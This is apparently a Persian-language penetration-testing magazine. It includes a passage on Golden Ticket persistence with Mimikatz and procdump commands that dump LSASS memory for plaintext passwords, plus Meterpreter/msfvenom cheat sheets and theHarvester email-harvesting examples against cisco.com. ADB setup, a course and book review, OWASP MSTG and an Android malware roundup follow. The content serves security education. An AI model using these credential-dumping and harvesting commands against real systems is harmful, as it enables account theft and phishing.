مخصــوص بــا پســوند tck ذخیــره می‌کنــد. توجــه داشــته باشــید 
کــه ایــن بلیــط بــه مــدت 10 ســال معتبــر بــوده و نفوذگــر می‌توانــد 
بــه مــدت طولانــی دسترســی خــود را بــه سیســتم حفــظ نمایــد.

 Mimikatz برنامــه ایجادشــده  مقــدار  ایــن  از  اســتفاده  بــا 
خــود  دسترســی  زیــر  فرمــان  از  اســتفاده  بــا  می‌توانــد 
بدهــد؛ قربانــی  فرمــان  خــط  بــه  بــالا  امتیــاز  بــا   را 

 Kerberos::ptt (Pass-the-Ticket(
لازم بــه ذکــر اســت کــه قبــل از ایجــاد ایــن فرمــان بایــد برنامــه را 
در حالــت Debug قــرار داده و ســپس ایــن فرمــان را اجــرا کنیــد، 

در غیــر ایــن صــورت برنامــه بــا خطــا مواجــه می‌شــود. 

یکــی دیگــر از روش‌هــای موجــود جهــت بــه دســت آوردن پســورد 
ــپ  ــا دام ــرداری ی ــفاف روب ــن ش ــورت مت ــری به‌ص ــاب کارب حس
کــردن حافظــه‌ی Lsass اســت. ایــن کار توســط یکــی از ابزارهــای 
ویژگی‌هــای  از  می‌شــود.  انجــام   Sysinternal مجموعــه‌ی 
ــروس آن را  ــه آنتی‌وی ــت ک ــن اس ــه ای ــن مجموع ــتفاده از ای اس

ــد.  ــایی نمی‌کن ــرب شناس ــل مخ ــوان فای به‌عن
برای انجام این کار باید از فرمان زیر استفاده کنید.

بــا اجــرای ایــن فرمــان فایــل Lsass.dmp در مســیر اعــان خــط 
ــان داس ایجــاد می‌شــود. فرم

و ســپس کافــی اســت بــا اســتفاده از فرمــان زیــر مــاژول 
Minidump در برنامــه Mimikatz را بــرای به‌کارگیــری فایــل 

کنیــد؛ اســتفاده   Dump
sekurlsa::minidump lsass.dmp

ــی  ــدار Full فراخوان ــا مق ــاژول logonPasswords را ب ســپس م
ــوند؛ ــش داده ش ــورد‌ها نمای ــی پس ــا تمام ــم ت می‌کنی

sekurlsa::logonPasswords full

ــاش اول در  ــد ت ــاهده می‌کنی ــالا مش ــکل ب ــه در ش ــه ک همان‌گون
ــا خطــا مواجهــه شــده  ــا مدیــر سیســتم DC1 ب برقــراری ارتبــاط ب
اســت، امــا پس‌ازآنکــه برنامــه در حالــت Debug یــا اشــکال‌زدایی 
و  می‌شــود  اعمــال   Golden Ticket نشســت  گرفــت،  قــرار 
 دسترســی بــه سیســتم و ایجــاد ارتبــاط بــا آن امکان‌پذیر می‌شــود.

)Golden Ticket( شکل 13- ایجاد بلیط طلایی

شکل 14- بعد از رفتن بر روی حالت debug امکان اجرای دستور و ایجاد ارتباط وجود دارد.

 Lsass گرفتن از فرآیند )Dump(استخراج پسورد با روبرداری

برای دستگاه‌های 32 بیتی

برای دستگاه‌های 64 بیتی

procdump.exe -accepteula -ma lsass.exe lsass.dmp

procdump.exe -accepteula 64- -ma lsass.exe lsass.dmp

منابع
https://bit.ly/2E7u47o
https://bit.ly/2YGQeqr
https://bit.ly/2Pa7gtR
https://bit.ly/2PxAlyy
https://bit.ly/2EiIzpb
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search [regex] جستجو یک ماژول خاص

use exploit [ExploitPath] استفاده از یک اکسپلویت

set PAYLOAD [PayloadPath] استفاده از یک پیلود

show options نمایش گزینه‌های ماژول فعلی

set [Option] [Value] تنظیم یک مقدار برای گزینه مورد نظر

Exploit / run اجرای اکسپلویت)ماژول فعلی(

check چک کردن آسیب‌پذیری

? / help نمایش راهنمای دستورات

exit / quit meterpreter خروج از جلسه کاری

sysinfo  نمایش نام سیستم هدف و نوع
سیستم عامل آن

shutdown / reboot  خاموش کردن یا راه‌اندازی مجدد
سیستم هدف

cd تغییر دایرکتوری

lcd تغییر دایرکتوری در سیستم 
محلی)مهاجم(

pwd / getwd  نمایش دایرکتوری فعلی

ls  نمایش لیست فایل‌ها و پوشه‌های
موجود در دایرکتوری فعلی

cat نمایش محتویات فایل مورد نظر

download / upload  دانلود یک فایل از سیستم هدف/ آپلود
یک فایل بر روی سیستم هدف

exploit -z  اجرای اکسپلویت برای یک جلسه
کاری در پس‌زمینه

exploit –j  اجرای اکسپلویت برای یک یا چند
جلسه کاری در پس زمینه

jobs –l مشاهده تمامی jobهای فعلی

jobs –k [JobID] job متوقف کردن یک

sessions -l  لیست جلسه‌های موجود در
پس‌زمینه

session -i [SessionID] تعامل با یک جلسه موجود در 
پس زمینه

<Ctrl+Z> or background انتقال جلسه تعاملی موجود به 
پس‌زمینه

مقدمات اولیه کنسول

راهنمای Meterpreter در متاسپلویت

مدیریت جلسات
◀گردآوری: محمد حبیبی
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mkdir / rmdir  ساخت/ حذف یک دایرکتوری

edit ویرایش یک فایل در ویرایشگر 
)Vi پیش‌فرض )معمولا ویرایشگر

getpid  نمایش شناسه فرآیندی که
Meterpreter در آن اجرا شده است

getuid نمایش شناسه حساب کاربری که 
Meterpreter در آن اجرا شده است

ps نمایش لیست فرآیند‌ها

-l payloads  نمایش لیست تمامی پیلود‌های
موجود

–p [PayloadPath] تعیین یک پیلود خاص

–f [FormatType] مشخص کردن فرمت فایل 
خروجی

LHOST  هاست مهاجم)برای IP آدرس
(reverse ارتباط

LPORT  هاست مهاجم)برای Port آدرس
(reverse ارتباط

--help-formats  نمایش لیست تمامی فرمت‌های
خروجی موجود

exe ساخت پیلود به صورت یک فایل 
اجرایی

pl  ساخت پیلود به صورت یک
اسکریپت پرل

rb  ساخت پیلود به صورت یک
اسکریپت روبی

jar  ساخت پیلود به صورت یک فایل
جاوا

c  ساخت پیلود به صورت یک کد در
 زبان سی

-l encoders  نمایش لیست فریم‌ورک‌های
رمزگذار موجود

-e [Encoder]  استفاده از یک فریم‌ورک خاص
برای رمزگذاری پیلود

kill متوقف کردن یک فرآیند

execute اجرای یک برنامه با سطح 
Meterpreter دسترسی فرآیند

migrate  تعامل با یک فرآیند با سطح
دسترسی مشابه

uictl [enable/disable] 

[keyboard/mouse]:
 فعال یا غیرفعال کردن موس و

کیبورد در سیستم هدف

screenshot  ذخیره یک اسکرین شات از
صفحه سیستم هدف

ابزار msfvenom متاسپلویت
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معرفی ابزار
Tools Reviwe



 The معرفی ابزار
Harvester

The Harvester یــک ابــزار متن‌بــاز و رایگان اســت که ســورس آن 
بــه صورت رایــگان در گیت‌هــاب قــرار دارد، همچنین جــزء ابزارهای 
ــد. ــس می‌باش ــی لینوک ــتم‌عامل کال ــود در سیس ــرض موج پیش‌ف
ــاح  ــا در اصط ــا ی ــع‌آوری ایمیل‌ه ــزار harvester، جم ــرد اب کارب
Email Harvesting  اســت کــه شــیوه‌ای موثــر بــه منظــور 
متعلــق  ممکــن  کاربــری  اســامی  و  ایمیل‌هــا  کــردن  پیــدا 
طــرق  بــه  ایمیل‌هــا  ایــن  می‌باشــد.  هــدف  ســازمان  بــه 

ــران  ــت کارب ــه لیس ــال ارائ ــور مث ــتند، بط ــد هس ــف مفی مختل
خطرپذیــر در حمــات، نمایــش شــیوه و قوانیــن نام‌گــذاری 
ــک  ــران ی ــردن کارب ــدا ک ــی پی ــا حت ــازمان ی ــک س ــود در ی موج
ســازمان. یکــی از ابزارهــای موجــود در کالــی لینوکــس ابــزار 
theharvester  اســت کــه ایــن کار را بــرای مــا انجــام مــی دهــد.

بــه کمــک موتورهــای جســتجو ماننــد گــوگل،  ابــزار  ایــن 
مربــوط  ایمیل‌هــای  می‌توانــد  لینکدیــن  یــا  و  بینــگ 
لیســت  و  کــرده  جســتجو  را  خــاص  وب‌ســایت  یــک  بــه 
دهــد. نمایــش  مــا  بــه  را  موجــود  اکانت‌هــای  و  افــراد 
ــر می‌باشــد؛ ــه شــکل زی ــزار ب ــن اب ســاختار دســتور اســتفاده از ای

)در این‌جــا محدودیــت نتایــج بــرروی 300 عدد تنظیم شــده اســت(

اســتفاده؛ قابــل  مهــم  ســوئیچ‌های  از  برخــی 

d- : نام دامنه وب‌سایت مورد جستجو یا نام سازمان موردنظر
)google منبع جستجو )به عنوان مثال : -b

اطلاعــات؛ جهــت جســتجو  اســتفاده  قابــل  منابــع  لیســت 

همچنیــن جهــت جســتجو در تمامــی منابــع موجــود می‌توانیــد از 
عبــارت all اســتفاده نماییــد.

f- : ذخیره نتایج در یک فایل با فرمت html و xml)بصورت همزمان(
l- : تعیین محدودیت نتایج بر اساس تعداد

بــه عنــوان مثــال، مــا بــرای اســتخراج لیســت ایمیل‌هــای 
وب‌ســایت cisco.com بــا اســتفاده از 2 موتــور جســتجوگر گــوگل 
و بینــگ و شــبکه اجتماعــی لینکدیــن ایــن کار را انجــام می‌دهیــم؛

نحوه استفاده

$ theharvester -d [domain] -l [limit] -b [source]

$ theharvester -d cisco.com -l 300 -b google

google, bing, bingapi, crtsh, dogpile, baidu, google-certificates, 

googleCSE, googleplus, google-profiles, hunter, linkedin, 

netcraft, pgp, threatcrowd, twitter, vhost, virustotal, yahoo

◀‌گردآوری: سیروان اله‌ویسی
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حــال همیــن جســتجو را بــر اســاس موتــور جســتجو bing انجــام 
می‌دهیــم؛

ــتجو  ــور جس ــه موت ــبت ب ــتری را نس ــج بیش ــه نتای ــم ک می‌بینی
کرده‌ایــم؛ دریافــت   google

و درنهایــت همیــن جســتجو را جهــت یافتــن اکانت‌هــای موجود با 
ایمیــل ایــن دامنــه در شــبکه اجتماعــی لینکدیــن انجــام می‌دهیــم؛

<_

همانگونــه کــه در تصویر زیــر مشــاهده می‌کنید، لیســت اکانت‌های 
موجــود، نــام و ســمت اشــخاص بــرای مــا نمایــش داده می‌شــود:

$ theharvester -d cisco.com -l 300 -b bing

$ theharvester -d cisco.com -l 300 -b linkedin
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Android Debug Bridge

ای دی بی )ADB( چیست؟

1

2

3

:)Client( کلاینت

:Daemon (adbd(

:)Server( سرور

ارسال  آن  وظیفه  و  می‌شود  نصب  توسعه  دستگاه  روی  بر  کلاینت 
دستورات است.

اجرا  اندرویدی  دستگاه  در  پس‌زمینه  فرایند  یک  عنوان  به   Daemon
می‌شود و وظیفه آن اجرای دستورات بر روی دستگاه است.

سرور به عنوان یک فرایند پس‌زمینه در دستگاه توسعه اجرا می‌شود و 
وظیفه آن ایجاد ارتباط بین Client و Daemon است.

◀گردآوری: آرش یونسی

ای دی بی )adb( یک ابزار خط فرمان است که به شما امکان می‌دهد با یک دستگاه اندرویدی ارتباط برقرار کنید. adb اقدامات 
مختلف دستگاه از جمله نصب و اشکال‌زدایی برنامه‌ها را تسهیل می‌کند و دسترسی به پوسته یونیکس را فراهم می‌کند. می‌توانید 
برای اجرای انواع مختلف دستورات )نصب برنامه‌ها، تصویربرداری از صفحه‌نمایش دستگاه، روت کردن دستگاه، دسترسی به فایل‌های 

دستگاه و...( بر روی یک دستگاه، از آن استفاده کنید.

adb یک برنامه کلاینت-سرور، شامل سه جزء:
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       نصب ADB بر روی ویندوز

       نصب ADB بر روی لینوکس

       روشن کردن adb debugging روی دستگاه اندرویدی

       ADB چگونه کار می‌کند؟ 

 SDK به صورت پیش‌فرض در ابزارهای Adb ◀
Android SDK Plat� است)  موجود  )اندروید 
form-Tools(. در صورتی که فایل adb موجود 

نباشد، از لینک زیر قابل دریافت است؛
https://developer.android.com/studio/releas-
es/platform-tools.html

◀ پس از دانلود، فایل‌ها را از حالت فشرده خارج کرده 
و در محل مناسبی قرار دهید.

را  adb اجرایی  فایل  آدرس  باید  حال   ◀
وارد  خود  سیستم  متغیرهای  در   )adb.exe(
باشد، دسترسی  قابل  فرمان  خط  طریق  از  تا  کنید 
 Edit system enviroment( به این منظور از بخش

 Enviroment Variables می‌بایست )variables
انتخاب شود. 

◀ برای نصب adb بر روی لینوکس فقط کافیست دو 
فرمان زیر را در ترمینال وارد کنید؛

▪sudo apt update
▪sudo apt install android-tools-adb an-
droid-tools-fastboot

◀ جهت اطمینان از نصب adb  از فرمان زیر استفاده 
کنید؛

▪adb version

مشاهده   Ok روی  بر  کلیک  با  بخش  این  در   ◀
امتحان،  جهت  است.  شده  فعال   adb که  می‌شود 
 )PowerShell & cmd( فرمان  خط  صفحات  تمامی 
با   ،cmd باز کنید. در ببندید و دوباره صفحه جدید  را 
باشد؛ زیر  صورت  به  باید  صفحه   adb کلمه  انتخاب 

Vari�   از ستون ،System variables سپس از بخش ◀  
able قسمت Path را یافته و بر روی Edit کیک کنید.

هم اکنون آماده استفاده از adb هستید.

◀ در صفحه باز شده New را انتخاب و آدرس پوشه‌ی 
فایل‌های دانلودی استخراج شده را وارد کنید.

می‌بایستی  ابتدا  شد  راه‌اندازی   adb کلاینت  وقتی 
اگر  اندازی شده‌است یا خیر،  راه  بررسی شود که سرور 
راه‌اندازی نشده باشد لازم است سرور راه اندازی شود.
پورت  به  شد  راه‌اندازی  سرور  که  هنگامی 
منتظر  و  می‌شود  متصل   5037 محلی 
می‌شود. کلاینت   adb از  دستورات  دریافت 
ارتباط با  5037 جهت  از پورت   adb همه کلاینت‌های
به  اتصال  سرور،  سپس  می‌کنند.  استفاده   adb سرور 
پس  می‌کند.  تنظیم  را  اجرا  حال  در  دستگاه‌های  تمام 
می‌توانید  دستگاه‌ها،  تمام  به  سرور  ارتباط  برقراری  از 
دستگاه‌ها  آن  به  دسترسی  برای   adb دستورات  از 
را  به دستگاه‌ها  اتصال  آنجا که سرور  از  کنید.  استفاده 
کلاینت  چندین  به  مربوط  دستورات  و  می‌کند  کنترل 
را  دستگاهی  هر  می‌توانید  می‌کند،  کنترل  را   adb
کنید. کنترل  اسکریپت(  یک  از  )یا  کلاینت  هر  از 

10:30 AM 85%

 usb در حالت اتصال با adb برای استفاده از
باید usb debugging را در تنظیمات دستگاه 
اندرویدی )بخش توسعه دهنده( فعال کنید.

در سیستم‌عامل Android از نسخه 4.2 به 
بالاتر، به طور پیش‌فرض صفحه گزینه‌های 
مشاهده  برای  می‌شود.  مخفی   Developer
آن، به تنظیمات درباره تلفن بروید و بر روی 
بار  هفت   )Build number( ساخت  شماره 
توسعه  گزینه‌های  یافتن  برای  بزنید.  ضربه 
دهنده، به صفحه قبلی برگردید و به انتهای 

صفحه بروید.

کردن  روشن  و   adb تست  و  نصب  از  پس 
حالت اشکال زدایی )usb debugging( نوبت 

به استفاده از adb می‌رسد.
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adb لیست دستورات



معرفی دوره
Course Description



CompTIA PenTest+
هنــگام جســتجو در عرصــه گواهی‌هــای 
   CompTIA+ نــام  همیشــه   معتبــر 
میخــورد. چشــم  بــه   PenTest
 Computing Technology شــرکت 

ــار  ــه اختص ــا ب Industry Association ی
دهنده‌هــای  ارائــه  از  یکــی   CompTIA
گواهی‌هــای  و  دوره  زمینــه  در  پیشــرو 
مربــوط بــه IT در ســطح جهانــی می‌باشــد.

ایــن شــرکت بــرای بیشــتر از 20 ســال 
بــرای  آزمــون  و  آمــوزش  کــه  اســت 
همچــون  زمینه‌هایــی  در  گواهــی 
می‌دهــد. انجــام  را  امنیــت  و  شــبکه 

 CompTIA PenTest+ •(آزمــون 
و  نفــوذ  تســت‌های  به‌روزتریــن 
توانایی‌هــای  و  امنیتــی  ارزیابی‌هــای 
میــزان  تعییــن  بــرای  لازم  مدیرتــی 
مقابــل  در  شــبکه  انعطاف‌پذیــری 
می‌کنــد. ارزیابــی  را  حمــات 

توانایــی  موفــق  •(شــرکت‌کنندگان 
بــرای  )لازم(  ضــروری  متوســط  حــد 
ــرای  ــی ب ــوب ارزیاب ــازی چهارچ شخصی‌س
ادامــه  همــکاری به شــکل موثــر و همچنین 
می‌کننــد. پیــدا  را  یافته‌هــا  گــزارش 

بهتریــن  همچنیــن  •(شــرکت‌کنندگان 
اســتراتژی‌های  مکاتبــه  بــرای  را  تمرین‌هــا 
ــه امنیــت  ــرای ارتقــای همــه جانب پیشــنهادی ب
می‌کننــد. دریافــت  منطقــه   IT بخــش 

1( برنامه‌ریزی کردن

2( جمع‌آوری اطلاعات و شناسایی آسیب‌پذیری

3( حملات و اکسپلویت‌ها

4( ابزار تست نفوذ

5( گزارش و ارتباطات

یکــی از منابــع موجــود بــرای ایــن آزمــون کــه توســط خــود شــرکت CompTIA تهیــه 
تمامــی  دادن  پوشــش  تحــت  بــا  کــه  دارد  نــام   PenTest+ Study Guide اســت  شــده 
می‌کنــد.  آمــاده  آزمــون  ایــن  در  شــرکت  بــرای  را  شــما  نیــاز  مــورد  مــوارد  و  اهــداف 

لینک کتاب:

در مورد آزمون

منبع اصلیچه مهارت‌هایی را یاد میگیریم؟

◀گردآوری: کسرا ریسمانچی
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معرفی کتاب
Book Suggestion



پایتون برای 
تست‌نفوذ

معرفی کتاب

◀گردآوری: کسرا ریسمانچی

176 					    تعداد صفحات :
Packt Publishing, 1 edition (April 25, 2018( :ناشر
					     	     انگلیسی    زبان:
Hussam Khrais 	     			  نویسنده: 
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پایتون
برای  ساده  برنامه‌نویسی  زبان  یک 
 cross-platform و  یادگیری 

از ابزارهای متن باز برای هکینگ به زبان  است که دارای تعداد نامحدودی کتابخانه‌های شخص ثالث می‌باشد. تعداد زیادی 
پایتون نوشته شده‌اند و به راحتی می‌توان آنها را در اسکریپت‌های خود ادغام کرد. این کتاب به بخش‌های مختلفی تقسیم 
شده است که خواننده کتاب بتواند متناسب با سرعت یادگیری و تمرکز بر روی نیازمندی‌های خود آن را مطالعه کند. در این 
کتاب چگونگی استفاده از زبان پایتون در زمینه ارزیابی امنیتی از پایه تا پیشرفته توضیح داده شده است و یاد خواهید گرفت 

که چگونه کدهای خود را بنویسید.

این کتاب برای هکرهای قانونمند، تست نفوذکنندگان و دانشجویانی که در حال آماده شدن برای گذراندن دوره‌های امنیت مانند 
OSCP ، OSCE، GPEN ،GXPN و CEH هستند و همچنین برای متخصصین در زمینه امنیت اطلاعات، مشاورین در زمینه امنیت 
سایبری، system and network security administrators و برنامه‌نویسان مشتاق یادگیری در زمینه تست نفوذ  می‌باشد.
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OWASP درباره راهنمای تست امنیت موبایل

OWASP آشنایی با راهنمای تست امنیت موبایل

مناطق کلیدی در امنیت برنامه کاربردی موبایل

ــرد  ــت م ــکل از هف ــی  متش ــتانی، گروه ــای تابس ــک روز زیب در ی
ــگل  ــای جن ــک وی ــاً ســه ســنجاب در ی ــک زن جــوان و تقریب و ی
دور هــم   OWASP امنیــت2017   اجــاس  در طــول  ووبــورن 
جمــع شــده بودنــد. تــا آن لحظــه هیــچ چیــز غیــر عــادی وجــود 
ــا  ــه تنه ــا ن ــده‌، آنه ــج روز آین نداشــت. غافــل از اینکــه در طــی پن
ــه  ــد، بلک ــف می‌کنن ــدداً تعری ــی را مج ــای موبایل ــت برنامه‌ه امنی
ــند )از  ــی کش ــش م ــه چال ــز ب ــی را نی ــادی کتاب‌نویس ــول بنی اص
ــه  ــاد ک ــاق افت ــی اتف ــارک بلتچل ــی پ ــداد در نزدیک ــن روی ــا ای قض
ــود(. ــزرگ ب ــگ ب ــن تورین ــل کار آل ــی و مح ــل زندگ ــی مح زمان
ــک  ــات ی ــا اثب ــل، آنه ــا حداق ــد ام ــی باش ــن بزرگنمای ــاید ای ش
ایــده بــرای یــک کتــاب امنیتــی غیرمعمــول تولیــد کردنــد. 
تــاش  یــک   )MSTG( موبایــل  امنیــت  تســت  راهنمــای 
آشــکار، هوشــمندانه و گروه-پرداختــه اســت کــه بــا کمــک 
ــان ایجــاد شــده اســت. ــد از سراســر جه ده‌هــا نویســنده و منتق
ــی نیســت، مقدمــه  از آنجــا کــه ایــن یــک کتــاب امنیتــی معمول
دســتگاه‌های  اهمیــت  چشــمگیر  داده‌هــای  و  حقایــق  آن 
موبایــل را نشــان نمــی دهــد، همچنیــن چگونگــی شکســته 
نمی‌دهــد  توضیــح  را  تلفــن همــراه  برنامــه  امنیــت  شــدن 
ــت و  ــاز اس ــورد نی ــدت م ــه ش ــاب ب ــن کت ــرا ای ــه چ ــا اینک و ی
نویســندگان آن از همســران و دوستانشــان تشــکر نمی‌کننــد 
نبــود. امکان‌پذیــر  کتــاب  ایــن  نوشــتن  آنهــا  بــدون  کــه 
بــا ایــن حــال مــا پیامــی بــرای خواننــدگان خــود داریــم! 
ــن  ــل OWASP ای ــت موبای ــت امنی ــای تس ــون راهنم ــن قان اولی
 OWASP اســت؛ فقــط از راهنمــای تســت امنیــت موبایــل
ــردی  ــای کارب ــت برنامه‌ه ــی در امنی ــری واقع ــد. برت ــروی نکنی پی
تلفــن همــراه نیــاز بــه درک عمیقــی از سیســتم‌عامل تلفــن 
همــراه، برنامه‌نویســی، امنیــت شــبکه، رمزنــگاری و بســیاری 
ــا  ــواردی از آنه ــا م ــاب تنه ــن کت ــه در ای ــر دارد ک ــوارد دیگ از م
را می‌توانیــم بــه طــور خلاصــه مــورد بررســی قــرار دهیــم.
ندهیــد.  قــرار  خــود  پایــان  نقطــه  را  امنیتــی  تســت 
کامپایــل  را  خــود  کدهــای  بنویســید،  را  خــود  برنامه‌هــای 
ــه  ــد ک ــاد بگیری ــد و ی ــدا کنی ــل را ج ــای موبای ــد، بدافزاره کنی
چیزهــای  کــه  همچنــان  می‌کنــد.  کار  چیــز  همــه  چگونــه 
ــد!  ــر کنی ــارکت در MSTG فک ــه مش ــد، ب ــی گیری ــاد م ــد ی جدی
یــا بــه قــول معــروف »در یــک نظرســنجی شــرکت کنیــد«.

راهنمــای تســت امنیــت موبایــل  OWASP MSTG یــک کتابچــه 
راهنمــای جامــع بــرای آزمایــش امنیــت برنامه‌هــای موبایــل اســت 
ــای  ــد نیازه ــرای تایی ــاز ب ــورد نی ــای م ــا و تکنیک‌ه ــه فرآینده ک
ذکــر شــده در اســتاندارد تأییــد امنیــت برنامــه کاربــردی موبایــل 
ــه  ــای اولی ــک مبن ــن ی ــد، همچنی ــف می‌کن )MASVS( را توصی
بــرای تســت‌های امنیتــی کامــل و مــداوم را ارائــه می‌دهــد.

فناوری‌هــای جدیــد همیشــه خطــرات امنیتــی جدیــد را بــه 
ــال دارنــد و برنامه‌هــای موبایــل نیــز از ایــن قاعــده مســتثنی  دنب
از  برنامه‌هــای موبایــل  بــرای  امنیتــی  نیســتند. دغدغه‌هــای 
ــاوت  ــزی متف ــه رومی ــنتی رایان ــزار س ــه نرم‌اف ــبت ب ــی نس جهات
اســت. سیســتم‌عامل‌های مــدرن موبایــل بــه طــور حتــم از 
ــزی  ــه رومی ــتم‌عامل‌های رایان ــه سیس ــبت ب ــتری نس ــت بیش امنی
ــا  ــراه را ب ــن هم ــه تلف ــعه برنام ــر توس ــا اگ ــتند، ام ــوردار هس برخ
ــر  ــت ظاه ــن اس ــاکان ممک ــکلات کم ــم، مش ــر نگیری ــت در نظ دق
شــوند. ذخیــره داده‌هــا، ارتباطــات درون برنامــه‌ای، اســتفاده 
ــبکه  ــن ش ــات ایم ــده و ارتباط ــگاری ش ــای رمزن ــح از APIه صحی

ــت. ــات اس ــن ملاحظ ــی از ای ــا برخ تنه

یــک  از  همــراه  تلفــن  نفــوذ  تســت  ابزارهــای  از  بســیاری 
پیش‌زمینــه در آزمایــش نفــوذ بــه شــبکه و وب برخــوردار هســتند،  
ایــن ویژگــی بــرای تســت برنامــه تلفــن همــراه ارزشــمند اســت. 
 back-end ــرویس ــک س ــا ی ــراه ب ــن هم ــه تلف ــر برنام ــاً ه تقریب
در ارتبــاط اســت و آن ســرویس‌ها مســتعد همــان حمــات 
ــا آنهــا  مشــابهی هســتند کــه مــا در برنامه‌هــای مبتنــی بــر وب ب
آشــنا هســتیم. برنامه‌هــای تلفــن همــراه بــه دلیــل ســطح حملــه 
ــق و حمــات  ــر تزری ــت بیشــتر در براب ــر و در نتیجــه امنی کوچک‌ت
مشــابه دارای تنــوع هســتند. در مقابــل مــا بایــد امنیــت داده‌هــا 
را در دســتگاه و شــبکه در اولویــت قــرار دهیــم تــا امنیــت موبایــل 

ــد. ــش یاب افزای
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ــارد  ــش از 2 میلی ــداد بی ــه تع ــه ب ــا توج ب
دســتگاه اندرویــدی در دنیــا و گســترش 
اندرویــدی،  اپلیکیشــن‌های  افــزون  روز 
ــر  ــرض خط ــش در مع ــش از پی ــران بی کارب
قــرار  مخــرب  اپلیکیشــن‌های  دانلــود 
ــاد  ــب ایج ــت موج ــن اس ــه ممک ــد ک دارن
ــر از  ــا بدت ــده و ی ــات آزاردهن ــص، تبلیغ نق
ــاس  ــات حس ــرقت اطلاع ــوارد، س ــن‌ م ای
تلفــن همــراه اندرویــدی آن‌هــا شــود.
اندرویــد یــک سیســتم‌عامل منبــع بــاز 
ــی  ــر کس ــه ه ــی ک ــن معن ــه ای ــت، ب اس
می‌توانــد بــه کــد منبــع آن دسترســی 

ــه شــرکت‌ها  داشــته باشــد. ایــن ویژگــی ب
ــن سیســتم‌‌عامل  اجــازه  سفارشی‌ســازی ای
را می‌دهــد و توســعه‌دهندگان به‌راحتــی 
اپلیکیشــن‌های  آن  بــرای  می‌تواننــد 
مختلــف بنویســند و توســعه دهنــد. ضعــف 
سیســتم منبع‌بــاز ایــن اســت کــه هــر 
ــه آن  ــای زیرلای ــه کده ــد ب ــی می‌توان کس
ــرای  ــه کار را ب ــد ک ــته باش ــی داش دسترس
بدافزارهــای  می‌خواهنــد  کــه  کســانی 
می‌کنــد. آســان  بنویســند،  اندرویــدی 
از  برخــی  لیســت  بــه  مقالــه  ایــن  در 
مخــرب  اندرویــدی  اپلیکیشــن‌های 

نگاهــی   2019 ســال  در  معــروف  و 
از  کوتاهــی  جزئیــات  و  می‌اندازیــم 
کــرد. خواهیــم  مشــاهده  را  آن‌هــا 
البتــه توجــه داشــته باشــید کــه هیــچ 
فهرســت کامــل و جامعــی از اپلیکیشــن‌های 
مخــرب اندرویــدی در دســت نیســت و 
مخــرب  اپلیکیشــن‌های  اســت  ممکــن 
بیشــتری در فروشــگاه گوگل‌پلــی، ســایر 
محبــوب،  اندرویــدی  مارکت‌هــای 
شــبکه‌های  و  اینترنتــی  وب‌ســایت‌های 
ــد.  ــته باش ــود داش ــف وج ــی مختل اجتماع
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Zazdi Botnet: ایــن بدافــزار اندرویــدی اولیــن بــار توســط تیــم 
ــق تحقیقــات  امنیتــی SonicWall Capture Labs شناســایی شــد. طب
ــی  ــن بات‌نت ــک کمپی ــات، ی ــارق اطلاع ــزار س ــن بداف ــه ای ــام گرفت انج
تشــخیص داده شــد کــه قــادر بــه اجــرای 50 دســتور مختلــف در 
 Firebase Cloud Messaging (FCM( از  و  بــود  آلــوده  دســتگاه 

ــات  ــرد و اطلاع ــتفاده می‌ک ــوده اس ــتگاه‌های آل ــا دس ــاط ب ــرای ارتب ب
حساســی از جملــه ایمیــل کاربــر، نــوع و مــدل موبایــل، نســخه 
سیســتم‌عامل و مــکان دســتگاه را بــه ســرور مهاجمــان ارســال می‌کــرد. 
 HizaxyTV ــام ــه ن ــق یــک صفحــه فیســبوک ب ــن اپلیکیشــن از طری ای
ــود. ــرب ب ــن مخ ــود اپلیکیش ــک دانل ــاوی لین ــه ح ــد ک ــر می‌ش منتش

 Currency اپلیکیشــن‌های Anubis dropper: بــا دانلــود و نصــب 
گوگل‌‌پلــی،  فروشــگاه  از   BatterySaverMobi و   Converter
آن‌هــا  توســط   Anubis شــده  شــناخته  بانکــی  تروجــان  پیلــود 

 Trend Micro توســط  اپلیکیشــن‌ها  ایــن  می‌شــد.  دانلــود 
شــدند. حــذف  پلــی  گــوگل  از  بلافاصلــه  دو  هــر  و  شــد  کشــف 

https://bit.ly/35rC3I2

https://bit.ly/37vQpZL

https://bit.ly/35vhz1a

ــوگل  ــه در گ ــود ک ــوع clipper ب ــزار از ن ــن بداف Crypto Clipper: اولی
پلــی کشــف شــد. ایــن بدافــزار در اپلیکیشــن اندرویــدی جعلــی 
ــرای  ــر ب ــر مرورگ ــی ب ــه مبتن ــک ســرویس توزیع‌یافت ــه ی MetaMask ک
ارز مجــازی Ethereum اســت، جاســازی شــده بــود. بــه محــض نصــب 

اپلیکیشــن آلــوده بــر روی دســتگاه اندرویــدی و ورود بــه حســاب 
ــت  ــیر و هدای ــر مس ــه تغیی ــروع ب ــده ش ــازی ش ــزار جاس ــری، بداف کارب
ــرد. ــزار می‌ک ــنده بداف ــاب نویس ــه حس ــده ب ــذاری ش ــوه ارز رمزگ وج

ــازی  ــدی اســتخراجگر ارز مج ــان اندروی ــن تروج UFO cryptominer: ای
بــرای اولیــن بــار توســط تیــم امنیتــی Sophos شناســایی شــد. مهاجمان 
در تلاش‌انــد کــه بدافزارهــا را روی اپلیکیشــن‌هایی کــه کمتریــن نظــارت 
ــت  ــان پش ــس مهاجم ــد. پ ــاق کنن ــد، الح ــا می‌باش ــر روی آنه ــران ب کارب
ایــن بدافــزار، آن را روی اپلیکیشــن‌ تلویزیون‌‌هــای هوشــمند، بلندگوهــای 

هوشــمند، کنترل‌کننده‌هــای مرکــزی اینترنــت اشــیاء در خانه‌هــا و ... 
ــه اینترنــت و در حــال اجــرا  ــد کــه همیشــه متصــل ب الحــاق کــرده بودن
هســتند. ایــن بدافــزار از 99 درصــد منابــع دســتگاه اندرویــدی بهره‌بــرداری 
می‌کنــد کــه موجــب داغ شــدن شــدید و آهســته کار کردن آن‌ها می‌شــود.

ــدی  ــن‌های اندروی ــه اپلیکیش ــک مجموع ــه ی ــزار ب ــن بداف Malbus: ای
محبــوب و 5 ســال توســعه داده شــده حمــل و نقــل عمومــی کــره جنوبــی 
ــار توســط محققــان امنیــت  ــن ب ــود و اولی ــی، الحــاق شــده ب در گوگل‌پل
ــود  ــدد ب ــن اپلیکیشــن‌ها 4 ع ــداد ای ــل McAfee کشــف شــد. تع موبای
ــورد آخــر از  ــد و م ــورد آن‌هــا از 2013 در حــال اســتفاده بودن ــه ســه م ک

ــن  ــه در ای ــک افزون ــوان ی ــه عن ــزار ب ــن بداف ــد. ای ــتفاده می‌ش 2017 اس
ــب  ــس از نص ــود. پ ــده ب ــی ش ــه داده و مخف ــر روی ــن‌ها تغیی اپلیکیش
